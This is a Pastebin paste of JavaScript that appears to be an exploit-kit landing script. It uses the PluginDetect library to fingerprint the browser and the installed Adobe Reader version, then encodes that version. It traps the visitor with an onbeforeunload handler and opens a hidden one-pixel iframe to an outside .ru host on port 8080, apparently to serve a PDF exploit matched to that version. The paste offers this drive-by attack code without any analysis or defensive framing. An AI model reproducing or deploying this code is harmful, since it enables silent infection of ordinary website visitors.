Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- try {
- var PluginDetect = {
- version : "0.7.8", name : "PluginDetect", handler : function (c, b, a){
- return function (){
- c(b, a)
- }
- }
- , isDefined : function (b){
- return typeof b != "undefined"
- }
- , isArray : function (b){
- return (/array/i).test(Object.prototype.toString.call(b))
- }
- , isFunc : function (b){
- return typeof b == "function"
- }
- , isString : function (b){
- return typeof b == "string"
- }
- , isNum : function (b){
- return typeof b == "number"
- }
- , isStrNum : function (b){
- return (typeof b == "string" && (/\d/).test(b))
- }
- , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g,
- getNum : function (b, c){
- var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
- exec(b) : null;
- return a ? a[0] : null
- }
- , compareNums : function (h, f, d){
- var e = this , c, b, a, g = parseInt;
- if (e.isStrNum(h) && e.isStrNum(f)){
- if (e.isDefined(d) && d.compareNums){
- return d.compareNums(h, f)
- }
- c = h.split(e.splitNumRegx);
- b = f.split(e.splitNumRegx);
- for (a = 0; a < Math.min(c.length, b.length);
- a ++ ){
- if (g(c[a], 10) > g(b[a], 10)){
- return 1
- }
- if (g(c[a], 10) < g(b[a], 10)){
- return - 1
- }
- }
- }
- return 0
- }
- , formatNum : function (b, c){
- var d = this , a, e;
- if (!d.isStrNum(b)){
- return null
- }
- if (!d.isNum(c)){
- c = 4
- }
- c--;
- e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
- for (a = 0; a < 4; a ++ ){
- if (/^(0+)(.+)$/.test(e[a])){
- e[a] = RegExp.$2
- }
- if (a > c ||! (/\d/).test(e[a])){
- e[a] = "0"
- }
- }
- return e.slice(0, 4).join(",")
- }
- , $$hasMimeType : function (a){
- return function (c){
- if (!a.isIE && c){
- var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
- for (b = 0; b < d.length; b ++ ){
- if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b])){
- f = navigator.mimeTypes[d[b]];
- e = f ? f.enabledPlugin : 0;
- if (e && (e.name || e.description)){
- return f
- }
- }
- }
- }
- return null
- }
- }
- , findNavPlugin : function (l, e, c){
- var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
- new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
- for (f = 0; f < a.length; f ++ ){
- m = a[f].description || g;
- b = a[f].name || g;
- if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
- test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
- if (!k ||! (k.test(m) || k.test(b))){
- return a[f]
- }
- }
- }
- return null
- }
- , getMimeEnabledPlugin : function (k, m, c){
- var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a,
- l, d, j = e.isString(k) ? [k] : k;
- for (d = 0; d < j.length; d ++ ){
- if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
- l = f.description || h;
- a = f.name || h;
- if (b.test(l) || b.test(a)){
- if (!g ||! (g.test(l) || g.test(a))){
- return f
- }
- }
- }
- }
- return 0
- }
- , getPluginFileVersion : function (f, b){
- var h = this , e, d, g, a, c =- 1;
- if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
- return b
- }
- if (!b){
- return e
- }
- e = h.formatNum(e);
- b = h.formatNum(b);
- d = b.split(h.splitNumRegx);
- g = e.split(h.splitNumRegx);
- for (a = 0; a < d.length; a ++ ){
- if (c >- 1 && a > c && d[a] != "0"){
- return b
- }
- if (g[a] != d[a]){
- if (c ==- 1){
- c = a
- }
- if (d[a] != "0"){
- return b
- }
- }
- }
- return e
- }
- , AXO : window.ActiveXObject, getAXO : function (a){
- var f = null, d, b = this , c = {
- }
- ;
- try {
- f = new b.AXO(a)
- }
- catch (d){
- }
- return f
- }
- , convertFuncs : function (f){
- var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
- for (ain f){
- if (b.test(a)){
- try {
- g = a.slice(2);
- if (g.length > 0 &&! f[g]){
- f[g] = f[a](f);
- deletef[a]
- }
- }
- catch (d){
- }
- }
- }
- }
- , initObj : function (e, b, d){
- var a, c;
- if (e){
- if (e[b[0]] == 1 || d){
- for (a = 0; a < b.length; a = a + 2){
- e[b[a]] = b[a + 1]
- }
- }
- for (ain e){
- c = e[a];
- if (c && c[b[0]] == 1){
- this .initObj(c, b)
- }
- }
- }
- }
- , initScript : function (){
- var c = this , a = navigator, e = "/", f, i = a.userAgent || "", g = a.vendor || "",
- b = a.platform || "", h = a.product || "";
- c.initObj(c, ["$", c]);
- for (fin c.Plugins){
- if (c.Plugins[f]){
- c.initObj(c.Plugins[f], ["$", c, "$$", c.Plugins[f]], 1)
- }
- }
- ;
- c.OS = 100;
- if (b){
- var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod",
- 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, ""
- , 100];
- for (f = d.length - 2; f >= 0; f = f - 2){
- if (d[f] && new RegExp(d[f], "i").test(b)){
- c.OS = d[f + 1];
- break
- }
- }
- }
- c.convertFuncs(c);
- c.head = (document.getElementsByTagName("head")[0] || document.getElementsByTagName(
- "body")[0] || document.body || null);
- c.isIE = (new Function("return " + e + "*@cc_on!@*" + e + "false"))();
- c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) :
- null ;
- c.ActiveXEnabled = false;
- if (c.isIE){
- var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
- "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
- "Scripting.Dictionary", "wmplayer.ocx"];
- for (f = 0; f < j.length; f ++ ){
- if (c.getAXO(j[f])){
- c.ActiveXEnabled = true;
- break
- }
- }
- }
- c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
- c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 :
- "0.9") : null;
- c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
- c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
- c.isSafari = ((/Apple/i).test(g) || (!g &&! c.isChrome)) && (
- /Safari\s*\/\s*(\d[\d\.]*)/i).test(i);
- c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(i) ? c.formatNum(
- RegExp.$1) : null;
- c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
- c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ?
- parseFloat(RegExp.$1, 10) : null;
- c.addWinEvent("load", c.handler(c.runWLfuncs, c))
- }
- , init : function (d){
- var c = this , b, d, a = {
- status :- 3, plugin : 0
- }
- ;
- if (!c.isString(d)){
- return a
- }
- if (d.length == 1){
- c.getVersionDelimiter = d;
- return a
- }
- d = d.toLowerCase().replace(/\s/g, "");
- b = c.Plugins[d];
- if (!b ||! b.getVersion){
- return a
- }
- a.plugin = b;
- if (!c.isDefined(b.installed)){
- b.installed = null;
- b.version = null;
- b.version0 = null;
- b.getVersionDone = null;
- b.pluginName = d
- }
- c.garbage = false;
- if (c.isIE &&! c.ActiveXEnabled && d !== "java"){
- a.status =- 2;
- return a
- }
- a.status = 1;
- return a
- }
- , fPush : function (b, a){
- var c = this ;
- if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0
- ])))){
- a.push(b)
- }
- }
- , callArray : function (b){
- var c = this , a;
- if (c.isArray(b)){
- for (a = 0; a < b.length; a ++ ){
- if (b[a] === null){
- return
- }
- c.call(b[a]);
- b[a] = null
- }
- }
- }
- , call : function (c){
- var b = this , a = b.isArray(c) ? c.length :- 1;
- if (a > 0 && b.isFunc(c[0])){
- c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
- }
- else {
- if (b.isFunc(c)){
- c(b)
- }
- }
- }
- , getVersionDelimiter : ",", $$getVersion : function (a){
- return function (g, d, c){
- var e = a.init(g), f, b, h = {
- }
- ;
- if (e.status < 0){
- return null
- }
- ;
- f = e.plugin;
- if (f.getVersionDone != 1){
- f.getVersion(null, d, c);
- if (f.getVersionDone === null){
- f.getVersionDone = 1
- }
- }
- a.cleanup();
- b = (f.version || f.version0);
- b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
- return b
- }
- }
- , cleanup : function (){
- }
- , addWinEvent : function (d, c){
- var e = this , a = window, b;
- if (e.isFunc(c)){
- if (a.addEventListener){
- a.addEventListener(d, c, false)
- }
- else {
- if (a.attachEvent){
- a.attachEvent("on" + d, c)
- }
- else {
- b = a["on" + d];
- a["on" + d] = e.winHandler(c, b)
- }
- }
- }
- }
- , winHandler : function (d, c){
- return function (){
- d();
- if (typeof c == "function"){
- c()
- }
- }
- }
- , WLfuncs0 : [], WLfuncs : [], runWLfuncs : function (a){
- var b = {
- }
- ;
- a.winLoaded = true;
- a.callArray(a.WLfuncs0);
- a.callArray(a.WLfuncs);
- if (a.onDoneEmptyDiv){
- a.onDoneEmptyDiv()
- }
- }
- , winLoaded : false, $$onWindowLoaded : function (a){
- return function (b){
- if (a.winLoaded){
- a.call(b)
- }
- else {
- a.fPush(b, a.WLfuncs)
- }
- }
- }
- , div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1, emptyDiv :
- function (){
- var d = this , b, h, c, a, f, g;
- if (d.div && d.div.childNodes){
- for (b = d.div.childNodes.length - 1; b >= 0; b -- ){
- c = d.div.childNodes[b];
- if (c && c.childNodes){
- for (h = c.childNodes.length - 1; h >= 0; h -- ){
- g = c.childNodes[h];
- try {
- c.removeChild(g)
- }
- catch (f){
- }
- }
- }
- if (c){
- try {
- d.div.removeChild(c)
- }
- catch (f){
- }
- }
- }
- }
- if (!d.div){
- a = document.getElementById(d.divID);
- if (a){
- d.div = a
- }
- }
- if (d.div && d.div.parentNode){
- try {
- d.div.parentNode.removeChild(d.div)
- }
- catch (f){
- }
- d.div = null
- }
- }
- , DONEfuncs : [], onDoneEmptyDiv : function (){
- var c = this , a, b;
- if (!c.winLoaded){
- return
- }
- if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null){
- return
- }
- for (ain c){
- b = c[a];
- if (b && b.funcs){
- if (b.OTF == 3){
- return
- }
- if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null){
- return
- }
- }
- }
- for (a = 0; a < c.DONEfuncs.length; a ++ ){
- c.callArray(c.DONEfuncs)
- }
- c.emptyDiv()
- }
- , getWidth : function (c){
- if (c){
- var a = c.scrollWidth || c.offsetWidth, b = this ;
- if (b.isNum(a)){
- return a
- }
- }
- return - 1
- }
- , getTagStatus : function (m, g, a, b){
- var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d =
- g.span, i = c.getWidth(d);
- if (!k ||! h ||! d ||! c.getDOMobj(m)){
- return - 2
- }
- if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1){
- return 0
- }
- if (l >= i){
- return - 1
- }
- try {
- if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
- if (!m.winLoaded && c.winLoaded){
- return 1
- }
- if (m.winLoaded && c.isNum(b)){
- if (!c.isNum(m.count)){
- m.count = b
- }
- if (b - m.count >= 10){
- return 1
- }
- }
- }
- }
- catch (f){
- }
- return 0
- }
- , getDOMobj : function (g, a){
- var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
- try {
- if (b && a){
- d.div.focus()
- }
- }
- catch (f){
- }
- return b ? c.firstChild : null
- }
- , setStyle : function (b, g){
- var f = b.style, a, d, c = this ;
- if (f && g){
- for (a = 0; a < g.length; a = a + 2){
- try {
- f[g[a]] = g[a + 1]
- }
- catch (d){
- }
- }
- }
- }
- , insertDivInBody : function (a, i){
- var h, f = this , b = "pd33993399", d = null, j = i ? window.top.document : window.
- document, c = "<", g = (j.getElementsByTagName("body")[0] || j.body);
- if (!g){
- try {
- j.write(c + 'div id="' + b + '">o' + c + "/div>");
- d = j.getElementById(b)
- }
- catch (h){
- }
- }
- g = (j.getElementsByTagName("body")[0] || j.body);
- if (g){
- if (g.firstChild && f.isDefined(g.insertBefore)){
- g.insertBefore(a, g.firstChild)
- }
- else {
- g.appendChild(a)
- }
- if (d){
- g.removeChild(d)
- }
- }
- else {
- }
- }
- , insertHTML : function (g, b, h, a, l){
- var m, n = document, k = this , q, p = n.createElement("span"), o, j, f = "<";
- var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
- "0px", "visibility", "visible"];
- var i =
- "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
- if (!k.isDefined(a)){
- a = ""
- }
- if (k.isString(g) && (/[^\s]/).test(g)){
- g = g.toLowerCase().replace(/\s/g, "");
- q = f + g + ' width="' + k.pluginSize + '" height="' + k.pluginSize + '" ';
- q += 'style="' + i + 'display:inline;" ';
- for (o = 0; o < b.length; o = o + 2){
- if (/[^\s]/.test(b[o + 1])){
- q += b[o] + '="' + b[o + 1] + '" '
- }
- }
- q += ">";
- for (o = 0; o < h.length; o = o + 2){
- if (/[^\s]/.test(h[o + 1])){
- q += f + 'param name="' + h[o] + '" value="' + h[o + 1] + '" />'
- }
- }
- q += a + f + "/" + g + ">"
- }
- else {
- q = a
- }
- if (!k.div){
- j = n.getElementById(k.divID);
- if (j){
- k.div = j
- }
- else {
- k.div = n.createElement("div");
- k.div.id = k.divID
- }
- k.setStyle(k.div, c.concat(["width", k.divWidth + "px", "height", (k.pluginSize +
- 3) + "px", "fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3)
- + "px", "verticalAlign", "baseline", "display", "block"]));
- if (!j){
- k.setStyle(k.div, ["position", "absolute", "right", "0px", "top", "0px"]);
- k.insertDivInBody(k.div)
- }
- }
- if (k.div && k.div.parentNode){
- k.setStyle(p, c.concat(["fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.
- pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
- try {
- p.innerHTML = q
- }
- catch (m){
- }
- ;
- try {
- k.div.appendChild(p)
- }
- catch (m){
- }
- ;
- return {
- span : p, winLoaded : k.winLoaded, tagName : g, outerHTML : q
- }
- }
- return {
- span : null, winLoaded : k.winLoaded, tagName : "", outerHTML : q
- }
- }
- , Plugins : {
- adobereader : {
- mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF",
- "PDF.PdfCtrl"], classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
- {
- }
- , pluginHasMimeType : function (d, c, f){
- var b = this , e = b.$, a;
- for (ain d){
- if (d[a] && d[a].type && d[a].type == c){
- return 1
- }
- }
- if (e.getMimeEnabledPlugin(c, f)){
- return 1
- }
- return 0
- }
- , getVersion : function (l, j){
- var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
- if (d.isString(j)){
- j = j.replace(/\s/g, "");
- if (j){
- k = j
- }
- }
- else {
- j = null
- }
- if (d.isDefined(g.INSTALLED[k])){
- g.installed = g.INSTALLED[k];
- return
- }
- if (!d.isIE){
- a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
- if (g.getVersionDone !== 0){
- g.getVersionDone = 0;
- b = d.getMimeEnabledPlugin(g.mimeType, a);
- if (!j){
- n = b
- }
- if (!b && d.hasMimeType(g.mimeType)){
- b = d.findNavPlugin(a, 0)
- }
- if (b){
- g.navPluginObj = b;
- h = d.getNum(b.description) || d.getNum(b.name);
- h = d.getPluginFileVersion(b, h);
- if (!h && d.OS == 1){
- if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
- h = "9"
- }
- else {
- if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
- h = "8"
- }
- }
- }
- }
- }
- else {
- h = g.version
- }
- if (!d.isDefined(n)){
- n = d.getMimeEnabledPlugin(k, a)
- }
- g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
- }
- else {
- b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
- c =/=\ s * ([ \ d \ .] + ) / g;
- try {
- f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src",
- ""], "", g))).GetVersions();
- for (m = 0; m < 5; m ++ ){
- if (c.test(f) && (!h || RegExp.$1 > h)){
- h = RegExp.$1
- }
- }
- }
- catch (i){
- }
- g.installed = h ? 1 : (b ? 0 :- 1)
- }
- if (!g.version){
- g.version = d.formatNum(h)
- }
- g.INSTALLED[k] = g.installed
- }
- }
- , zz : 0
- }
- }
- ;
- PluginDetect.initScript();
- PluginDetect.getVersion(".");
- pdfver = PluginDetect.getVersion("AdobeReader");
- }
- catch (e){
- }
- if (typeof pdfver == 'string'){
- pdfver = pdfver.split('.')
- }
- else {
- pdfver = [0, 0, 0, 0]
- }
- function x(s){
- d = [];
- for (i = 0; i < s.length; i ++ ){
- k = (s.charCodeAt(i) - 46).toString(16);
- if (k.length == 1)k = "0" + k;
- d.push(k);
- }
- ;
- return d.join("");
- }
- end_redirect = function (){
- }
- ;
- window.onbeforeunload = function (){
- return "";
- }
- ;
- try {
- show_pdf2 = function (src){
- var pifr = document.createElement('IFRAME');
- pifr.setAttribute('width', 1);
- pifr.setAttribute('height', 1);
- pifr.setAttribute('src', src);
- document.body.appendChild(pifr)
- }
- ;
- show_pdf2("http://secondhand4u.ru:8080/forum/links/column.php?ikpdx=" + x("bdcdf") +
- "&gsygl=" + x("k") + "&lfkabl=3307093738070736060b>jmu=" + x(pdfver.join(".")));
- }
- catch (errno){
- }
- document.write('');
- setTimeout(end_redirect, 60000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement